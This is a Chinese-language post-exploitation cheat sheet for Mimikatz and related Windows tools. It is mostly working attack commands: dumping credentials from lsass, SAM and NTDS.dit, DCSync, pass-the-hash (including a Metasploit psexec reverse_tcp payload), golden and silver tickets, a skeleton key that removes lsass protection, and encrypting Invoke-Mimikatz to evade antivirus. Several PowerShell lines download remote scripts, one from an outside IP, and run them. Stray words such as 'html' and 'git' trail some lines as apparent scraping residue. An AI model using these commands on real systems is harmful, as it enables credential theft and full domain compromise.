[後滲透]Mimikatz使用大全

0x00 簡介

Mimikatz 是一款功能強大的輕量級調試神器,經過它你能夠提高進程權限注入進程讀取進程內存,固然他最大的亮點就是他能夠直接從 lsass.exe 進程中獲取當前登陸系統用戶名的密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在 lsass內存中,通過其 wdigest 和 tspkg 兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中, 而 mimikatz 正是經過對lsass逆算獲取到明文密碼!也就是說只要你不重啓電腦,就能夠經過他獲取到登錄密碼,只限當前登錄系統!html

注:可是在安裝了KB2871997補丁或者系統版本大於windows server 2012時,系統的內存中就再也不保存明文的密碼,這樣利用mimikatz就不能從內存中讀出明文密碼了。mimikatz的使用須要administrator用戶執行,administrators中的其餘用戶都不行。python

這裏放幾個神器的運行姿式:九種姿式運行:Mimikatz:https://www.freebuf.com/articles/web/176796.htmlgit

借用PowerShellgithub

#讀取密碼明文(須要管理員權限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
#讀取密碼hash值(須要管理員權限)
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

0x01 獲取本地賬戶密碼

1.1 本地執行

下載mimikatz程序,找到本身系統對應的位數,右鍵以管理員身份運行:web

#提高權限
privilege::debug

#抓取密碼
sekurlsa::logonpasswords

當目標爲win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但能夠經過修改註冊表的方式抓取明文。算法

cmd修改註冊表命令:chrome

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重啓或用戶從新登陸後能夠成功抓取

1.2 SAM表獲取hash

#導出SAM數據
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM

#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM

0x02 Procdump+Mimikatz

當mimikatz沒法在主機上運行時,可使用微軟官方發佈的工具Procdump導出lsass.exe:shell

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

將lsass.dmp下載到本地後,而後執行mimikatz:數據庫

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

爲了方便複製與查看,能夠輸出到本地文件裏面:windows

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt

0x03 讀取域控中域成員Hash

3.1 域控本地讀取

注:得在域控上以域管理員身份執行mimikatz

方法一:直接執行

#提高權限
privilege::debug

抓取密碼
lsadump::lsa /patch

方法二:經過 dcsync,利用目錄複製服務(DRS)從NTDS.DIT文件中檢索密碼哈希值,能夠在域管權限下執行獲取:

#獲取全部域用戶
lsadump::dcsync /domain:test.com /all /csv

#指定獲取某個用戶的hash
lsadump::dcsync /domain:test.com /user:test

3.2 導出域成員Hash

域帳戶的用戶名和hash密碼以域數據庫的形式存放在域控制器的 %SystemRoot%\ntds\NTDS.DIT 文件中。

這裏能夠藉助:ntdsutil.exe,域控制器自帶的域數據庫管理工具,咱們能夠經過域數據庫,提取出域中全部的域用戶信息,在域控上依次執行以下命令,導出域數據庫:

#建立快照
ntdsutil snapshot "activate instance ntds" create quit quit

#加載快照
ntdsutil snapshot "mount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

#Copy文件副本
copy C:\$SNAP_201911211122_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

將ntds.dit文件拷貝到本地利用impacket腳本dump出Hash:

secretsdump.py -ntds.dit -system system.hive LOCAL

除了藉助python,還有一個NTDSDumpEx(會被360查殺的哦):

工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -o domain.txt -s system.hiv    (system.hive文件獲取:reg save hklm\system system.hive)
NTDSDumpEx -d ntds.dit -o domain.txt -r               (此命令適用於在域控本地執行)



最後記得卸載刪除快照:

ntdsutil snapshot "unmount {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit
ntdsutil snapshot "delete  {72ba82f0-5805-4365-a73c-0ccd01f5ed0d}" quit quit

3.3 secretsdump腳本直接導出域hash

爲何要再提一遍secretsdump呢,由於它能夠直接導出,說白了,簡單粗暴:

python secretsdump.py rabbitmask:123456@192.168.15.181

首先它會導出本地SAM中的hash,而後是全部域內用戶的IP,所有獲取成功

0x04 哈希傳遞攻擊PTH

4.1 工做組環境

當咱們得到了一臺主機的NTLM哈希值,咱們可使用mimikatz對其進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。

#使用administrator用戶的NTLM哈希值進行攻擊
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用戶的NTLM哈希值進行攻擊
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在彈出的cmd窗口,咱們直接能夠鏈接該主機,而且查看該主機下的文件夾。

或者能夠直接將該主機的C盤映射到本地的K盤。

注:只能在 mimikatz 彈出的 cmd 窗口才能夠執行這些操做,注入成功後,可使用psexec、wmic、wmiexec等實現遠程執行命令。

4.2 域環境

在域環境中,當咱們得到了域內用戶的NTLM哈希值,咱們可使用域內的一臺主機用mimikatz對域控進行哈希傳遞攻擊。執行完命令後,會彈出cmd窗口。前提是咱們必須擁有域內任意一臺主機的本地 administrator 權限和得到了域用戶的NTLM哈希值

域:xie.com
域控:WIN2008.xie.com

#使用域管理員administrator的NTLM哈希值對域控進行哈希傳遞攻擊
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5
#使用域用戶xie的NTLM哈希值對域控進行哈希傳遞攻擊
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9

4.3 MSF進行哈希傳遞

有些時候,當咱們獲取到了某臺主機的Administrator用戶的LM-Hash和 NTLM-Hash ,而且該主機的445端口打開着。咱們則能夠利用 exploit/windows/smb/psexec 漏洞用MSF進行遠程登陸(哈希傳遞攻擊)。(只能是administrator用戶的LM-hash和NTLM-hash),這個利用跟工做組環境或者域環境無關。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #這裏LM和NTLM咱們已經獲取到了
msf exploit(psexec) > exploit

0x05 票據傳遞攻擊(PTT)

5.1 黃金票據

域中每一個用戶的 Ticket 都是由 krbtgt 的密碼 Hash 來計算生成的,所以只要獲取到了 krbtgt 用戶的密碼 Hash ,就能夠隨意僞造 Ticket ,進而使用 Ticket 登錄域控制器,使用 krbtgt 用戶 hash 生成的票據被稱爲 Golden Ticket,此類攻擊方法被稱爲票據傳遞攻擊。

首先獲取krbtgt的用戶hash:

mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

利用 mimikatz 生成域管權限的 Golden Ticket,填入對應的域管理員帳號、域名稱、sid值,以下:

kerberos::golden /admin:administrator /domain:ABC.COM /sid:S-1-5-21-3912242732-2617380311-62526969 /krbtgt:c7af5cfc450e645ed4c46daa78fe18da /ticket:test.kiribi
#導入剛纔生成的票據
kerberos::ptt test.kiribi

#導入成功後可獲取域管權限
dir \\dc.abc.com\c$

5.2 白銀票據

黃金票據和白銀票據的一些區別:Golden Ticket:僞造TGT,能夠獲取任何 Kerberos 服務權限,且由 krbtgt 的 hash 加密,金票在使用的過程須要和域控通訊

白銀票據:僞造 TGS ,只能訪問指定的服務,且由服務帳號(一般爲計算機帳戶)的 Hash 加密 ,銀票在使用的過程不須要同域控通訊

#在域控上導出 DC$ 的 HASH
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

#利用 DC$ 的 Hash製做一張 cifs 服務的白銀票據
kerberos::golden /domain:ABC.COM /sid: S-1-5-21-3912242732-2617380311-62526969 /target:DC.ABC.COM /rc4:f3a76b2f3e5af8d2808734b8974acba9 /service:cifs /user:strage /ptt

#cifs是指的文件共享服務,有了 cifs 服務權限,就能夠訪問域控制器的文件系統
dir \\DC.ABC.COM\C$

5.3 skeleton key

skeleton key(萬能鑰匙)就是給全部域內用戶添加一個相同的密碼,域內全部的用戶 均可以使用這個密碼進行認證,同時原始密碼也可使用,其原理是對 lsass.exe 進行注 入,因此重啓後會失效。

#在域控上安裝 skeleton key
mimikatz.exe privilege::debug "misc::skeleton"

#在域內其餘機器嘗試使用 skeleton key 去訪問域控,添加的密碼是 mimikatz
net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\administrator

微軟在 2014 年 3 月 12 日添加了 LSA 爆護策略,用來防止對進程 lsass.exe 的代碼注入。若是直接嘗試添加 skelenton key 會失敗。

#適用系統
windows 8.1
windows server 2012 及以上

固然 mimikatz 依舊能夠繞過,該功能須要導入mimidrv.sys文件,導入命令以下:

privilege::debug
!+
!processprotect /process:lsass.exe /remove 
misc::skeleton

5.4 MS14-068

當咱們拿到了一個普通域成員的帳號後,想繼續對該域進行滲透,拿到域控服務器權限。若是域控服務器存在 MS14_068 漏洞,而且未打補丁,那麼咱們就能夠利用 MS14_068 快速得到域控服務器權限。

MS14-068編號 CVE-2014-6324,補丁爲 3011780 ,若是自檢可在域控制器上使用命令檢測。

systeminfo |find "3011780"
#爲空說明該服務器存在MS14-068漏洞

操做連接:MS14-068復現(CVE-2014-6324):https://www.cnblogs.com/-mo-/p/11890539.html

0x06 其餘

6.1 使用mimikatz導出chrome中的密碼

詳情請見:連接

6.2 隱藏功能

管理員經常會禁用一些重要程序的運行,好比cmd、regedit、taskmgr,此時不方便滲透的進一步進行,這裏除了去改回原來的配置,還能夠藉助mimikatz的一些功能:

privilege::debug
misc::cmd
misc::regedit
misc::taskmgr

6.3 免殺處理

Powersploit中提供的不少工具都是作過加密處理的,同時也提供了一些用來加密處理的腳本,Out-EncryptedScript就是其中之一。

首先在本地對Invoke-Mimikatz.ps1進行加密處理:

poweshell.exe Import-Module .\Out-EncryptedScript.ps1
poweshell.exe Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password 密碼 -Salt 隨機數
#默認生成的文件是evil.ps1

-Password   設置加密的密鑰
-Salt       隨機數,防止被暴力破解

將加密生成的evil.sp1腳本放在目標機上,執行以下命令:

#遠程加載解密腳本
poweshell.exe 
IEX(New-Object Net.WebClient).DownloadString("http://1.1.1.32/PowerSploit/ScriptModification/Out-EncryptedScript.ps1")

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de password salt
Invoke-Expression $decrypted
Invoke-Mimikatz

0x07 參考連接

https://3gstudent.github.io/3gstudent.github.io/
https://blog.csdn.net/dda6607/article/details/101262101
https://blog.csdn.net/qq_36119192/article/details/83057161
https://blog.csdn.net/qq_36119192/article/details/100634467

相關文章
相關標籤/搜索